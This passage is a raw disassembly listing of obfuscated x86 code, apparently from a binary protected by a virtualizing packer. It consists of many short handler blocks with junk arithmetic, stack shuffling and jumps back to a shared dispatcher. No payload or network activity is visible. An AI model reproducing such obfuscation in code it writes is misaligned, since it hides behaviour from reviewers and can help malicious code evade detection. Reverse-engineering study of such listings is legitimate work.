loc_57767A:				; CODE XREF: ud2_____:00578B97j
		push	esi
		jmp	loc_57B0FF
; ---------------------------------------------------------------------------


loc_577680:				; CODE XREF: ud2_____:005783E3j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_579350
; ---------------------------------------------------------------------------


loc_5776A7:				; CODE XREF: ud2_____:00573174j
		mov	edx, 17B32B2Eh
		sub	eax, edx
		jmp	loc_573470
; ---------------------------------------------------------------------------


loc_5776B3:				; CODE XREF: ud2_____:00579BEEj
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_57A476
; ---------------------------------------------------------------------------


loc_5776C7:				; CODE XREF: ud2_____:00572965j
		mov	[edi+eax*4], dl
		pop	edx
		pop	ebx
		jmp	loc_57BEB2
; ---------------------------------------------------------------------------


loc_5776D1:				; CODE XREF: ud2_____:00577EFFj
		pop	edi
		push	245Eh
		mov	[esp], ebx
		jmp	loc_574E4D
; ---------------------------------------------------------------------------


loc_5776DF:				; CODE XREF: ud2_____:0057D429j
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2014D26h
		neg	edx
		push	ecx
		mov	ecx, 4B361285h
		sub	ecx, 2A0F2B39h
		shr	ecx, 3
		sub	ecx, 41D73BA1h
		jmp	loc_5783C2
; ---------------------------------------------------------------------------


loc_577708:				; CODE XREF: ud2_____:00579285j
		dec	bh
		sub	bh, 0EBh
		sub	bh, 46h
		not	bh
		push	edx
		mov	dl, 4Ch
		and	dl, 95h
		push	eax
		mov	al, 4Ch
		add	al, 6Eh
		sub	al, 53h
		or	dl, al
		pop	eax
		neg	dl
		shr	dl, 5
		add	dl, 0D0h
		jmp	loc_579E18
; ---------------------------------------------------------------------------


loc_57772F:				; CODE XREF: ud2_____:0057356Cj
		xor	dl, 0C7h
		add	dl, 6Bh
		jmp	loc_57B269
; ---------------------------------------------------------------------------


loc_57773A:				; CODE XREF: ud2_____:0057A36Cj
		add	ebx, edx
		add	ebx, 31CC42B7h
		pop	edx
		push	4146h
		jmp	loc_57C8CF
; ---------------------------------------------------------------------------


loc_57774D:				; CODE XREF: ud2_____:00575878j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_574A69
; ---------------------------------------------------------------------------


loc_57775B:				; CODE XREF: ud2_____:0057495Bj
		mov	ecx, 1CBC3009h
		add	ecx, 0F3CED053h
		mov	esi, ecx
		jmp	loc_57AED7
; ---------------------------------------------------------------------------


loc_57776D:				; CODE XREF: ud2_____:00575C05j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_579535
; ---------------------------------------------------------------------------


loc_57777E:				; CODE XREF: ud2_____:0057CD37j
		mov	[esp], edx
		pop	eax
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		jmp	loc_57DBEA
; ---------------------------------------------------------------------------


loc_57778E:				; CODE XREF: ud2_____:0057BC1Dj
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		shr	eax, 18h
		jmp	loc_578451
; ---------------------------------------------------------------------------


loc_5777A9:				; CODE XREF: ud2_____:0057AC83j
		mov	esp, [esp]
		jmp	loc_57AEE2
; ---------------------------------------------------------------------------


loc_5777B1:				; CODE XREF: ud2_____:0057B4C5j
		mov	ecx, 0F47686Fh
		jmp	loc_57D0E1
; ---------------------------------------------------------------------------


loc_5777BB:				; CODE XREF: ud2_____:00579ADEj
		sub	bl, 41h
		push	7286h
		mov	[esp], edx
		push	ecx
		mov	ch, 6
		mov	dh, ch
		pop	ecx
		sub	bl, dh
		pop	edx
		movzx	eax, al
		jmp	loc_577044
; ---------------------------------------------------------------------------


loc_5777D7:				; CODE XREF: ud2_____:0057A0D8j
		add	eax, esi
		add	eax, 20A632AAh
		mov	esi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_579042
; ---------------------------------------------------------------------------


loc_5777F5:				; CODE XREF: ud2_____:00578DC1j
		mov	ebx, 7ABA5678h
		sub	ebx, esi
		pop	esi
		xchg	ebp, ebx
		neg	ebp
		jmp	loc_57CF30
; ---------------------------------------------------------------------------


loc_577806:				; CODE XREF: ud2_____:005720CBj
		push	ebx
		mov	ebx, 1C1956F0h
		neg	ebx
		neg	ebx
		sub	ebx, 12AF52C7h
		sub	eax, ebx
		pop	ebx
		add	eax, edx
		jmp	loc_577356
; ---------------------------------------------------------------------------


loc_577820:				; CODE XREF: ud2_____:0057AE1Ej
		mov	dl, 0E1h
		or	bh, dl
		pop	dx
		jmp	loc_578458
; ---------------------------------------------------------------------------


loc_57782B:				; CODE XREF: ud2_____:00573405j
		add	ebx, edi
		pop	edi
		jmp	loc_57B660
; ---------------------------------------------------------------------------


loc_577833:				; CODE XREF: ud2_____:0057D596j
		push	esp
		jmp	loc_579EB3
; ---------------------------------------------------------------------------


loc_577839:				; CODE XREF: ud2_____:005724E6j
		pop	edi
		add	esp, 4
		jmp	loc_5780DB
; ---------------------------------------------------------------------------


loc_577845:				; CODE XREF: ud2_____:00577A4Dj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_576F49
; ---------------------------------------------------------------------------


loc_577862:				; CODE XREF: ud2_____:0057A302j
		mov	esi, 21D12A8Ch
		xor	esi, ebx
		pop	ebx
		jmp	loc_57BECF
; ---------------------------------------------------------------------------


loc_57786F:				; CODE XREF: ud2_____:0057D6EFj
		mov	[esp], ebx
		mov	bh, 0CFh
		xor	al, bh
		mov	ebx, [esp]
		jmp	loc_57BC37
; ---------------------------------------------------------------------------


loc_57787E:				; CODE XREF: ud2_____:0057606Cj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5721A4
		push	ebp
		push	esi
		mov	esi, 566A359Bh
		mov	ebp, 8E609EBAh
		sub	ebp, esi
		pop	esi
		not	ebp
		dec	ebp
		not	ebp
		push	edi
		mov	edi, 16230AFEh
		jmp	loc_57B13E
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5778B4:				; CODE XREF: ud2_____:0057D608j
		add	esi, ecx
		jmp	loc_5724C8
; ---------------------------------------------------------------------------


loc_5778BB:				; CODE XREF: ud2_____:0057AA99j
		mov	eax, 1C0F75EDh
		jmp	loc_57CEF5
; ---------------------------------------------------------------------------


loc_5778C5:				; CODE XREF: ud2_____:005793EBj
		mov	esi, 1
		mov	eax, esi
		pop	esi
		sub	edi, 2CAD4302h
		sub	edi, eax
		add	edi, 2CAD4302h
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_57C4D3
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_576F94
; ---------------------------------------------------------------------------


loc_5778EC:				; CODE XREF: ud2_____:00579324j
		mov	ebp, 680F7A15h
		add	edi, 6D992A38h
		sub	edi, ebp
		sub	edi, 6D992A38h
		pop	ebp
		push	eax
		jmp	loc_57BD0A
; ---------------------------------------------------------------------------


loc_577906:				; CODE XREF: ud2_____:0057AC43j
		push	edi
		mov	edi, 11D6533Dh
		dec	edi
		xor	edi, 411E4D4Dh
		sub	edi, 0E4C6A8AFh
		jmp	loc_57DB60
; ---------------------------------------------------------------------------


loc_57791E:				; CODE XREF: ud2_____:005745E8j
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	7DD1h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5771C1
; ---------------------------------------------------------------------------


loc_577941:				; CODE XREF: ud2_____:00576F1Dj
		neg	ebx
		jmp	loc_579BF3
; ---------------------------------------------------------------------------


loc_577948:				; CODE XREF: ud2_____:0057B86Bj
		push	eax
		mov	eax, 4
		jmp	loc_57D2DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_577953:				; CODE XREF: sub_59C59F-2AAF2j
		push	ecx
		push	eax
		mov	ah, 9Eh
		jmp	loc_573072
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_57795C:				; CODE XREF: ud2_____:00572796j
		shr	esi, 6
		sub	esi, 35AE3C5h
		mov	ebx, esi
		pop	esi
		add	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 2
		add	edi, ecx
		pop	ecx
		push	756h
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_57AF0A
; ---------------------------------------------------------------------------


loc_57798F:				; CODE XREF: ud2_____:0057CEA2j
		add	edx, 4
		jmp	loc_57D44C
; ---------------------------------------------------------------------------


loc_57799A:				; CODE XREF: ud2_____:0057B51Ej
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5779A7:				; CODE XREF: ud2_____:00578D3Ej
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_573615
; ---------------------------------------------------------------------------


loc_5779B4:				; CODE XREF: ud2_____:00571C1Dj
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 95162AEh
		inc	esi
		shl	esi, 1
		jmp	loc_57D63D
; ---------------------------------------------------------------------------


loc_5779CA:				; CODE XREF: ud2_____:00575A61j
		mov	ebp, 76BA06D8h
		shr	ebp, 1
		xor	ebp, 7FCE6B1Fh
		jmp	loc_571D73
; ---------------------------------------------------------------------------


loc_5779DC:				; CODE XREF: ud2_____:00574CE8j
		pop	edi
		sub	esp, 4
		jmp	loc_57D57D
; ---------------------------------------------------------------------------


loc_5779E5:				; CODE XREF: ud2_____:0057CF6Bj
		mov	[esp], ebp
		push	edi
		mov	edi, 0DC1605Fh
		or	edi, 7C33387Ch
		add	edi, 18C31556h
		jmp	loc_572213
; ---------------------------------------------------------------------------


loc_5779FF:				; CODE XREF: ud2_____:0057A74Bj
		push	edx
		mov	edx, esp
		push	eax
		push	ebx
		mov	ebx, 4
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		sub	edx, 5A633396h
		push	eax
		mov	eax, 35A41B7h
		jmp	loc_57AD24
; ---------------------------------------------------------------------------


loc_577A2E:				; CODE XREF: ud2_____:0057C9FDj
		add	ebp, esi
		sub	ebp, 2A5B1772h
		jmp	loc_57C7E3
; ---------------------------------------------------------------------------


loc_577A3B:				; CODE XREF: ud2_____:005768B4j
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_577845
; ---------------------------------------------------------------------------


loc_577A52:				; CODE XREF: ud2_____:0057CB02j
		mov	eax, 7FA83F57h
		push	ebp
		mov	ebp, 13147EC5h
		jmp	loc_57D966
; ---------------------------------------------------------------------------


loc_577A62:				; CODE XREF: ud2_____:005726FBj
		sub	edi, ebx
		pop	ebx
		jmp	loc_57D0C9
; ---------------------------------------------------------------------------


loc_577A6A:				; CODE XREF: ud2_____:00571ECAj
		add	edi, ebx
		jmp	loc_57B87A
; ---------------------------------------------------------------------------


loc_577A71:				; CODE XREF: ud2_____:0057B733j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_57DA13
; ---------------------------------------------------------------------------


loc_577A80:				; CODE XREF: ud2_____:00571CF5j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_579606
; ---------------------------------------------------------------------------


loc_577A94:				; CODE XREF: ud2_____:0057D638j
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	ecx
		push	ebx
		push	62FE3ABAh
		pop	ebx
		shl	ebx, 3
		jmp	loc_574933
; ---------------------------------------------------------------------------


loc_577ABB:				; CODE XREF: ud2_____:005773E0j
		pop	esp
		sub	esp, 4
		jmp	loc_57CEA7
; ---------------------------------------------------------------------------


loc_577AC4:				; CODE XREF: ud2_____:005722F9j
		sub	ecx, 919CEE95h
		and	ebp, ecx
		pop	ecx
		sub	ebp, 2EA01422h
		mov	ecx, ebp
		jmp	loc_57283F
; ---------------------------------------------------------------------------


loc_577ADA:				; CODE XREF: ud2_____:0057252Cj
		sub	esp, 4
		jmp	loc_57202C
; ---------------------------------------------------------------------------


loc_577AE2:				; CODE XREF: ud2_____:00571EF0j
		mov	dl, cl
		push	ebx
		jmp	loc_57CD4B
; ---------------------------------------------------------------------------


loc_577AEA:				; CODE XREF: ud2_____:00572A2Aj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], si
		push	ecx
		mov	cx, 2232h
		sub	cx, 6C97h
		sub	cx, 0FFFFh
		xor	cx, 724Ch
		shr	cx, 3
		sub	cx, 18F8h
		mov	si, cx
		pop	ecx
		sub	word ptr [esp+2], 7723h
		add	[esp+2], si
		jmp	loc_57A64C
; ---------------------------------------------------------------------------


loc_577B23:				; CODE XREF: ud2_____:005742D3j
		push	eax
		jmp	loc_578C79
; ---------------------------------------------------------------------------


loc_577B29:				; CODE XREF: ud2_____:00577175j
		pop	eax
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 3E1C6655h
		inc	ebp
		neg	ebp
		jmp	loc_572D40
; ---------------------------------------------------------------------------


loc_577B41:				; CODE XREF: ud2_____:0057228Dj
		add	[esp], eax
		push	ebp
		mov	ebp, 70A7246Ch
		jmp	loc_5795F8
; ---------------------------------------------------------------------------


loc_577B4F:				; CODE XREF: ud2_____:005742DFj
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2
		sub	ebp, 13F5129Ch
		jmp	loc_57A3DF
; ---------------------------------------------------------------------------


loc_577B71:				; CODE XREF: ud2_____:0057BCB4j
		push	esi
		mov	esi, 2
		jmp	loc_57B066
; ---------------------------------------------------------------------------


loc_577B7C:				; CODE XREF: ud2_____:00576172j
		sub	eax, edx
		sub	eax, 549A69A5h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_574321
; ---------------------------------------------------------------------------


loc_577B91:				; CODE XREF: ud2_____:00577188j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	[esp], al
		pushf
		jmp	loc_5739A0
; ---------------------------------------------------------------------------


loc_577BA4:				; CODE XREF: ud2_____:0057D320j
		mov	edi, 4
		jmp	loc_57B624
; ---------------------------------------------------------------------------


loc_577BAE:				; CODE XREF: ud2_____:00576FBFj
		add	edx, 17D24565h
		inc	edx
		jmp	loc_5745B0
; ---------------------------------------------------------------------------


loc_577BBA:				; CODE XREF: ud2_____:00575C33j
		sub	edi, 67DB56C5h
		jmp	loc_574775
; ---------------------------------------------------------------------------


loc_577BC5:				; CODE XREF: ud2_____:0057B54Bj
		mov	edi, 0F670B26h
		jmp	loc_57C34E
; ---------------------------------------------------------------------------


loc_577BCF:				; CODE XREF: ud2_____:0057276Fj
		push	small word ptr [eax]
		jmp	loc_574335
; ---------------------------------------------------------------------------


loc_577BD7:				; CODE XREF: ud2_____:00573C2Aj
		add	ebx, 4
		push	eax
		jmp	loc_572594
; ---------------------------------------------------------------------------


loc_577BE3:				; CODE XREF: ud2_____:0057C661j
		add	ebx, edx
		pop	edx
		pop	ecx
		add	ebx, 4D220FFDh
		add	ebx, eax
		jmp	loc_574A17
; ---------------------------------------------------------------------------


loc_577BF4:				; CODE XREF: ud2_____:0057DD4Ej
		mov	edi, 666747B5h
		not	edi
		xor	edi, 43F4BD7h
		or	edi, 112163E1h
		add	edi, 9A6CCBh
		add	edi, 0A5F4B548h
		or	eax, edi
		pop	edi
		xor	eax, 464E0A4Bh
		push	esi
		mov	esi, 7CB3237Ah
		not	esi
		sub	esi, 73BC0F96h
		shl	esi, 6
		shr	esi, 6
		or	esi, 587D3251h
		xor	esi, 2D211D00h
		xor	eax, esi
		pop	esi
		sub	ebp, eax
		pop	eax
		xor	eax, ebp
		pop	ebp
		sub	ebx, 0B17580Bh
		jmp	loc_57D61E
; ---------------------------------------------------------------------------
		xor	[esp], ah
		xor	ah, [esp]
		xor	[esp], ah
		push	small 20Eh
		mov	[esp], bx
		mov	bh, ah
		push	ax
		push	ecx
		mov	cl, bh
		jmp	loc_575E75
; ---------------------------------------------------------------------------


loc_577C6C:				; CODE XREF: ud2_____:0057A776j
		sub	al, 0CDh
		pop	ebx
		push	edx
		jmp	loc_577D69
; ---------------------------------------------------------------------------


loc_577C75:				; CODE XREF: ud2_____:005722C5j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_576C29
; ---------------------------------------------------------------------------


loc_577C83:				; CODE XREF: ud2_____:00571BD4j
		push	ecx
		jmp	loc_57A91F
; ---------------------------------------------------------------------------


loc_577C89:				; CODE XREF: ud2_____:00577027j
		mov	ebp, [esp]
		jmp	loc_57B4B0
; ---------------------------------------------------------------------------


loc_577C91:				; CODE XREF: ud2_____:0057BD05j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		jmp	loc_5734AA
; ---------------------------------------------------------------------------


loc_577CA3:				; CODE XREF: ud2_____:00576988j
		mov	ebp, edx
		mov	edx, [esp]
		jmp	loc_57B2EC
; ---------------------------------------------------------------------------


loc_577CAD:				; CODE XREF: ud2_____:0057D3FDj
		mov	edi, [esp]
		add	esp, 4
		mov	edx, edi
		mov	edi, [esp]
		jmp	loc_57810E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_577CD0:				; CODE XREF: ud2_____:00574AF2j
		mov	[esp], eax
		jmp	loc_5769F1
; ---------------------------------------------------------------------------


loc_577CD8:				; CODE XREF: ud2_____:0057A432j
		add	eax, 942248Ch
		sub	eax, ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 942248Ch
		sub	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_576982
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_575E30
; ---------------------------------------------------------------------------


loc_577D01:				; CODE XREF: ud2_____:0057BBACj
		pop	esp
		mov	[esp], ebp
		jmp	loc_5761DF
; ---------------------------------------------------------------------------


loc_577D0A:				; CODE XREF: ud2_____:0057B0FAj
		push	edi
		push	eax
		mov	eax, 40D66092h
		mov	edi, 0BF299F72h
		add	edi, eax
		jmp	loc_57623A
; ---------------------------------------------------------------------------


loc_577D1D:				; CODE XREF: ud2_____:00577EF0j
		pop	edi
		push	262h
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_5723A4
; ---------------------------------------------------------------------------


loc_577D47:				; CODE XREF: ud2_____:0057B33Fj
		not	ebx
		add	ebx, 35E15C24h
		not	ebx
		xor	ebx, 4D6E071h
		sub	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	esi
		jmp	loc_57A8A6
; ---------------------------------------------------------------------------


loc_577D69:				; CODE XREF: ud2_____:00577C70j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 1Fh
		push	eax
		push	edx
		mov	dl, 0FCh
		jmp	loc_574A58
; ---------------------------------------------------------------------------


loc_577D7D:				; CODE XREF: ud2_____:00574DB2j
		add	al, dh
		jmp	loc_578286
; ---------------------------------------------------------------------------


loc_577D84:				; CODE XREF: ud2_____:0057AB37j
		mov	ecx, 0
		sub	ecx, esi
		mov	esi, ecx
		pop	ecx
		jmp	loc_57D218
; ---------------------------------------------------------------------------


loc_577D93:				; CODE XREF: ud2_____:00576E29j
		shr	dl, 4
		shr	dl, 3
		jmp	loc_576C5E
; ---------------------------------------------------------------------------


loc_577D9E:				; CODE XREF: ud2_____:00578658j
		pop	edx
		jmp	loc_573D02
; ---------------------------------------------------------------------------


loc_577DA4:				; CODE XREF: ud2_____:00579A84j
		add	eax, 5C063621h
		jmp	loc_578005
; ---------------------------------------------------------------------------


loc_577DAE:				; CODE XREF: ud2_____:0057DCFDj
		sub	eax, edi
		pop	edi
		push	652Eh
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_57BBF5
; ---------------------------------------------------------------------------


loc_577DC2:				; CODE XREF: ud2_____:00579FB1j
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		sub	ax, bx
		push	bx
		mov	bx, 5927h
		sub	ax, bx
		pop	bx
		push	ebp
		mov	bp, 3199h
		xor	bp, 7B56h
		xor	bp, cx
		xor	cx, bp
		xor	bp, cx
		neg	cx
		xchg	cx, bp
		sub	bp, 1
		push	di
		push	5C1h
		mov	[esp], ebx
		push	small 7C45h
		mov	bx, [esp]
		add	esp, 2
		and	bx, 7FCFh
		inc	bx
		sub	bx, 0D57h
		add	bx, 9EF9h
		jmp	loc_57B4E7
; ---------------------------------------------------------------------------


loc_577E23:				; CODE XREF: ud2_____:0057D17Dj
		sub	bl, ch
		jmp	loc_579EE0
; ---------------------------------------------------------------------------


loc_577E2A:				; CODE XREF: ud2_____:00572497j
		mov	[esp], edi
		mov	edi, 2F934919h
		inc	edi
		or	edi, 20A10D81h
		inc	edi
		push	edx
		mov	edx, 0DA44EF7h
		not	edx
		xor	edx, 5CCF7F0Ch
		xor	edx, 80C4C4B5h
		xor	edi, edx
		pop	edx
		mov	eax, edi
		pop	edi
		add	eax, 0FE1CB8D7h
		jmp	loc_57D50D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_577E6E:				; CODE XREF: ud2_____:00576F60j
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	4AD8h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_574621
; ---------------------------------------------------------------------------


loc_577EBB:				; CODE XREF: ud2_____:0057B6CEj
		pop	ebp
		jmp	loc_578A8C
; ---------------------------------------------------------------------------


loc_577EC1:				; CODE XREF: ud2_____:00575350j
		movzx	ax, byte ptr [eax]
		jmp	loc_57226D
; ---------------------------------------------------------------------------


loc_577ECA:				; CODE XREF: ud2_____:0057B16Bj
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_576740
; ---------------------------------------------------------------------------


loc_577ED5:				; CODE XREF: ud2_____:00576975j
		mov	ch, 23h
		mov	dl, 8Bh
		xor	dl, ch
		pop	ecx
		push	ecx
		jmp	loc_571DF3
; ---------------------------------------------------------------------------


loc_577EE2:				; CODE XREF: ud2_____:0057A0C9j
		add	esp, 4
		push	esi
		pop	edi
		pop	esi
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_577D1D
; ---------------------------------------------------------------------------


loc_577EF5:				; CODE XREF: ud2_____:00576127j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5776D1
; ---------------------------------------------------------------------------


loc_577F04:				; CODE XREF: ud2_____:0057809Dj
		push	edx
		jmp	loc_5787A3
; ---------------------------------------------------------------------------


loc_577F0A:				; CODE XREF: ud2_____:0057AF51j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_57D65F
; ---------------------------------------------------------------------------


loc_577F13:				; CODE XREF: ud2_____:0057431Cj
		and	eax, ebx
		pop	ebx
		shr	eax, 0Ch
		jmp	loc_574ACE
; ---------------------------------------------------------------------------


loc_577F1E:				; CODE XREF: ud2_____:00574C4Bj
		push	ebx
		mov	ebx, 1F1B010Fh
		mov	eax, 69096DD6h
		xor	eax, ebx
		pop	ebx
		sub	[esp+4], eax
		jmp	loc_575230
; ---------------------------------------------------------------------------


loc_577F35:				; CODE XREF: ud2_____:0057573Dj
		add	ebp, edx
		jmp	loc_577667
; ---------------------------------------------------------------------------


loc_577F3C:				; CODE XREF: ud2_____:00576A3Aj
		pop	ebx
		jmp	loc_574D55
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_57C9B9
; ---------------------------------------------------------------------------


loc_577F4B:				; CODE XREF: ud2_____:00574C1Fj
		push	edi
		push	10A0h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_579C19
; ---------------------------------------------------------------------------


loc_577F64:				; CODE XREF: ud2_____:0057B298j
		add	edx, 8042B025h
		add	ebp, 16E87AD7h
		add	ebp, edx
		push	ebx
		mov	ebx, 5CDF2B87h
		shl	ebx, 3
		or	ebx, 1ACB4BBEh
		xor	ebx, 0E8132569h
		sub	ebp, ebx
		pop	ebx
		pop	edx
		push	4F64h
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_576E04
; ---------------------------------------------------------------------------


loc_577FA0:				; CODE XREF: ud2_____:00579E91j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5789D3
; ---------------------------------------------------------------------------


loc_577FB5:				; CODE XREF: ud2_____:005737FBj
		push	edi
		jmp	loc_5744A2
; ---------------------------------------------------------------------------


loc_577FBB:				; CODE XREF: ud2_____:0057A647j
		pop	ebp
		jmp	loc_573735
; ---------------------------------------------------------------------------


loc_577FC1:				; CODE XREF: ud2_____:00573921j
		mov	ebx, 0F723FFEh
		jmp	loc_572B83
; ---------------------------------------------------------------------------


loc_577FCB:				; CODE XREF: ud2_____:0057CAC0j
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 3EA9343Eh
		jmp	loc_57B97E
; ---------------------------------------------------------------------------


loc_577FDD:				; CODE XREF: ud2_____:00575797j
		mov	[esp], ebx
		push	eax
		mov	eax, 29D71C61h
		jmp	loc_57C3AA
; ---------------------------------------------------------------------------


loc_577FEB:				; CODE XREF: ud2_____:00576AA5j
		dec	edx
		shl	edx, 4
		dec	edx
		push	esi
		push	ebp
		mov	ebp, 24EE0DBBh
		mov	esi, 693116DEh
		sub	esi, ebp
		pop	ebp
		push	ebx
		jmp	loc_578DD3
; ---------------------------------------------------------------------------


loc_578005:				; CODE XREF: ud2_____:00577DA9j
		push	dword ptr [eax]
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	ecx
		push	66A870DAh
		pop	ecx
		push	edx
		mov	edx, 6CF225CBh
		jmp	loc_5749C4
; ---------------------------------------------------------------------------


loc_57802D:				; CODE XREF: ud2_____:00573702j
		add	edx, 4
		jmp	loc_579C0D
; ---------------------------------------------------------------------------


loc_578038:				; CODE XREF: ud2_____:00573A8Ej
		add	edx, 12281646h
		sub	eax, edx
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		add	eax, 305A6CBAh
		push	edi
		mov	edi, 449F6F50h
		inc	edi
		xor	edi, 10033F6Ch
		not	edi
		jmp	loc_57DD13
; ---------------------------------------------------------------------------


loc_578060:				; CODE XREF: ud2_____:0057389Dj
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		push	edx
		mov	edx, 3BFE0AE8h
		sub	edx, 4E656586h
		and	edx, 7BAB45B4h
		sub	esp, 4
		jmp	loc_5734CA
; ---------------------------------------------------------------------------


loc_578088:				; CODE XREF: ud2_____:00573A1Fj
		mov	ecx, esp
		jmp	loc_573906
; ---------------------------------------------------------------------------


loc_57808F:				; CODE XREF: ud2_____:00576652j
		pop	dword ptr [esp]
		jmp	loc_57CADC
; ---------------------------------------------------------------------------


loc_578097:				; CODE XREF: ud2_____:005725D0j
		mov	bh, al
		mov	ch, bh
		pop	ebx
		push	ebx
		jmp	loc_577F04
; ---------------------------------------------------------------------------


loc_5780A2:				; CODE XREF: ud2_____:0057AAA6j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_575422
; ---------------------------------------------------------------------------


loc_5780AF:				; CODE XREF: ud2_____:0057D0CDj
		mov	ebp, 3C18161Fh
		add	eax, ebp
		pop	ebp
		add	eax, ebp
		sub	eax, 3C18161Fh
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_578C95
; ---------------------------------------------------------------------------


loc_5780CD:				; CODE XREF: ud2_____:00578C01j
		sub	esi, edx
		pop	edx
		sub	esi, 5AD73E45h
		jmp	loc_57BB33
; ---------------------------------------------------------------------------


loc_5780DB:				; CODE XREF: ud2_____:00577840j
		shl	edi, 3
		add	edi, 58107FA7h
		mov	eax, edi
		pop	edi
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5780EC:				; CODE XREF: ud2_____:00573041j
		push	ebp
		mov	ebp, 60751FAEh
		add	ebp, 9F8AE056h
		mov	edi, ebp
		pop	ebp
		sub	ebx, 19FA60DFh
		add	ebx, edi
